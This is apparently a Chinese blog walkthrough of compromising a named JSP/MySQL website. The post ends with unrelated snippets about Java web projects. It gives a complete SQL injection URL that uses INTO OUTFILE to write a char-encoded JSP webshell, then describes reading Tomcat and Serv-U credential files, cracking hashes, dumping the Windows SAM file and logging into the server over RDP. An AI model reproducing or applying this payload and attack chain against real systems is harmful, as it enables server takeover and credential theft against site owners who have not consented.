正文:
给朋友帮忙检测一个jsp的站点,mysql数据库。已知存在注入点,用order by 猜出了字段是15个,其他就什么有用的信息都没暴出来。union查询的时候,字段数正确但不显示正常画面。
嘿嘿,别让错误信息给骗了,实际上还是能union查询的,就在“10”的那个位置。
查询得知MYSQL版本是4.1.19,root权限,可读文件(如果知道路径的话)。
狠狠地扫了它一遍(这里要注意,用wwwscan扫ip和扫网址得到的结果不同,要扫2次)。
得到很多有用的信息,其中包括:
网站的物理路径:D:\china\
网站后台登陆地址:http://www.bt285.cn/admin/login.jsp
TOMCAT的后台登陆地址:http://xxx.xx.xxx.xx/admin/
1. 用into outfile导出一句话webshell
注入点能够使用union,有File权限,知道了网站的物理路径,jsp又没有类似magic_quotes_gpc = on这样的设置,正适合用into outfile导出一句话webshell。
http://www.5a520.cn /XXXXMessage.jsp?id=7676%20and%201=2%20union%20select%200,1,2,3,4,5,6,7,8,9,char(60,37,32,105,102,40,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,33,61,110,117,108,108,41,40,110,101,119,32,106,97,118,97,46,105,111,46,70,105,108,101,79,117,116,112,117,116,83,116,114,101,97,109,40,97,112,112,108,105,99,97,116,105,111,110,46,103,101,116,82,101,97,108,80,97,116,104,40,34,92,34,41,43,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,41,41,46,119,114,105,116,101,40,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,116,34,41,46,103,101,116,66,121,116,101,115,40,41,41,59,32,37,62),11,12,13,14%20into%20outfile%20'D:\\china\\19h.jsp'/*
第一次没有成功,不知道哪里出错,导出的jsp-webshell不能正常使用,后来发现导出的webshell有15M那么大。(=_=!)
虽然失败了,不过访问导出的webshell,页面出错却暴出了TOMCAT的物理路径 D:\Tomcat 5.0\ 。:)
再次导出jsp-webshell,这次成功了,利用一句话webshell上传了个大马。查看得到的一句话webshell内容如图
查看权限,是system。
本该结束了,不过一时性起,就把能想到的手段都用了一遍(闲的)。(=_=!)
PS:后面的方法都没有利用之前得到的webshell。
2.读取TOMCAT后台密码登陆TOMCAT管理后台
刚才无意中暴出TOMCAT的物理路径 D:\Tomcat 5.0\ ,又知道TOMCAT的后台登陆地址,接下来当然是直接load_file()读取tomcat-user.xml文件了。(TOMCAT密码文件,默认保存在 TOMCAT目录下\conf\tomcat-user.xml)
读到密码,顺利登陆/admin 目录。
TOMCAT在/admin 目录下的利用只能遍历一下目录,需要和其他方法结合才好用。
而能直接得到webshell的/manager/html目录,因为8080端口登陆不上去,这里就略过了。
3.读取ServUDaemon.ini破解密码利用ftp上传webshell
开始想load_file()读取
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
文件,直接得到serv-u的安装路径的,结果猜错了路径,没有读到(后来发现是在 C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U FTP Server\Serv-U Administrator.lnk),只好按默认路径猜,在猜到 C:\Program Files\Serv-U\ 的时候读出了ServUDaemon.ini的内容,拿加密的密码到cmd5.com去反查,没有查出来,想想cmd5.com的密码范围包括12位以下数字、8位字母、全部7位及以下字母加数字的组合,而serv-u的密文前面两位字母是已知的,那么这个密码的可能范围就是
① 纯字母且大于6位
② 纯数字且大于5位
③ 字母+数字组合且大于5位
只要不是第3种,暴力破解还是比较有可能的,于是拖出md5crake_V4暴破,结果几秒钟就得到了密码明文。(=_=!)
ftp上传了个jsp的webshell,就解决了。
4.连接MYSQL插入导出一句话webshell
试试load_file()网站的数据库连接文件,顺藤摸瓜没费什么力气就找到了。
login.jsp 文件内容
include.jsp文件内容
dbconf.jsp文件内容
mysql连上去,建表--插入--导出webshell
成功导出了一个jsp一句话webshell到网站目录,之后顺利上传了个大马。
5.load_file()读取c:\windows\repair\sam ,导入LC5破解管理员密码
具体步骤就不细说了,不会方法的朋友请参见文章《MYSQL注入中load_file()函数的进一步应用》
http://www.bt285.cn/content.php?id=1196863
(http://www.sai52.com/archives/616/)
一边破解,一边试试社会工程学。用之前得到的ftp密码和TOMCAT后台登陆密码试着登陆服务器的3389,结果用TOMCAT后台登陆密码成功登陆服务器的终端服务。
6.union查询网站后台登陆密码
因为是Struts,load_file()查看源文件查不到表名(封装了),猜表名也没蒙对(后来连接数据库查看发现表名前面有自定义前缀),如果利用TOMCAT后台建立虚拟目录的方法来遍历,之后用load_file()下载.class文件反编译的方式查看的话,工程实在太大了,所以我没有试。
检测到这里就结束了。这是个pr值为6的网站,存在如此明显而具杀伤力的漏洞,我想大家浏览网页的时候是不是要考虑多装几个杀软。(=_=!)
本文没什么技术含量,只是提供了思路,希望对新手朋友们有用。
分享到:
相关推荐
### Java Web中的入侵检测及简单实现 #### 一、引言 随着互联网技术的发展与普及,网络安全问题变得日益严峻。对于Java Web应用而言,确保安全性的措施至关重要。本文将详细介绍如何在Java Web环境中实现简单的入侵...
其仍然牢牢占据着计算机语言的核心地位,并衍生出Jsp、JavaEE和Struts2等多种先进的计算机技术,为计算机和软件科学的发展做出了巨大的贡献,也为人类的生产和现代社会的发展做出了非常卓越的贡献,各种基于Java的...
该系统的核心是基于Struts 2框架,它是一个基于MVC(Model-View-Controller)模式的Java Web开发框架。Struts 2以Webwork为核心,利用拦截器(Interceptor)机制来处理用户的请求,增强了系统的灵活性和可扩展性。在...
本项目即是一个基于Java Server Pages(JSP)技术构建的高校规章制度管理系统,旨在通过Web应用的方式,实现对学校规章制度的集中管理和在线查询。 #### 二、系统设计 ##### 1.1 目标设计 本系统的开发目标主要...
【标题】基于Java Web的智能二维码门禁管理系统是一款利用现代技术实现的安全管理解决方案,它集成了二维码识别、网络通信和数据库技术,适用于各种场所的出入口控制,如办公楼、学校、住宅区等。该系统旨在提升门禁...
- **无入侵式设计**:Struts2的设计避免了与Servlet API或Struts API的紧密耦合,这使得Struts2的应用程序可以在不同的环境下更容易地部署和维护。 - **拦截器机制**:Struts2提供了强大的拦截器功能,这允许...
此外,通过使用JSP(JavaServer Pages)作为前端开发语言,结合Struts、Spring、Hibernate(SSH框架)的后端支持,可以实现数据持久化、业务逻辑处理和控制层的高效集成,提高系统的稳定性和可维护性。 1.3 技术...
**Struts框架** 是Java Web开发中的一个重要组件,它提供了一种组织和管理Web应用结构的方式。Struts通过控制器Servlet(ActionServlet)协调模型、视图和控制器之间的交互。模型负责业务逻辑处理,视图负责展示数据...
1. **Java Web技术的广泛应用与安全问题**:Java Web技术,如JSP、Servlet和各种Web框架(Spring MVC、Stripes、Struts 2、Tapestry、Wicket等),在开发Web应用程序时广泛使用。由于其在客户端和服务器端的广泛应用...
MyEclipse则是集成开发环境(IDE),专为Java EE应用提供服务,包括代码编辑、调试、构建和部署等,支持多种框架和技术,如Spring、Struts和Hibernate等。在这个电子政务档案管理系统中,MyEclipse作为开发工具,...
- **前端技术**:使用JSP(Java Server Pages)进行网页设计,提供友好的用户界面。 - **设计模式**:采用MVC(Model-View-Controller)设计模式,将数据模型、视图展示和业务逻辑清晰地分离,提高了代码的可维护性...
在技术选型上,系统利用JSP(Java Server Pages)动态页面开发技术,这是一种用于创建动态网页的技术,结合Java编程语言,能够实现服务器端的业务逻辑处理。同时,系统采用了Struts2+Spring+Hibernate的MVC(模型-...
5. **软件工程**:如基于.NET技术的网上答疑平台、基于Struts架构的系统设计,涵盖了软件生命周期、敏捷开发、设计模式、MVC架构、EJB组件技术等。 6. **数据挖掘与分析**:数据挖掘算法研究、基于Web的数据分析...
Apache Tomcat 7.0.55 是一个广泛使用的开源软件,它是一个实现了Java Servlet、JavaServer Pages(JSP)和Java EE的Web应用程序容器。这个版本是Tomcat 7系列的一个更新,提供了性能改进、安全修复以及对新功能的...
JSONStruts2是一个重要的安全漏洞,它涉及到Apache Struts2框架的一个特定版本,该框架是Java Web开发中广泛使用的开源MVC(Model-View-Controller)框架。此问题出现在Struts2的JSON插件中,允许攻击者通过精心构造...
该系统采用Java开发语言与Struts2框架技术,结合JSP进行界面设计,并基于分布式文件系统构建。系统主要包含用户管理、加密检索模板、小文件合并管理和文件管理四个模块。用户管理确保只有注册用户才能使用服务,同时...
3. 应用服务器技术已经演变到基于 Java 组件的应用服务器。 4. 中间件技术已经成为分布式软件系统不可或缺的关键基础设施。 5. 在数据挖掘领域,序列模式的目的是分析数据间的前后序列关系。 6. 为了提高数据的...
8.3.1 Struts2代码执行漏洞 166 8.3.2 ThinkPHP命令执行漏洞 169 8.3 防范命令执行漏洞 169 第9章 文件包含漏洞 171 9.1 包含漏洞原理解析 171 9.1.1 PHP包含 171 9.1.2 JSP包含 180 9.2 安全编写包含 184 9.3 小结 ...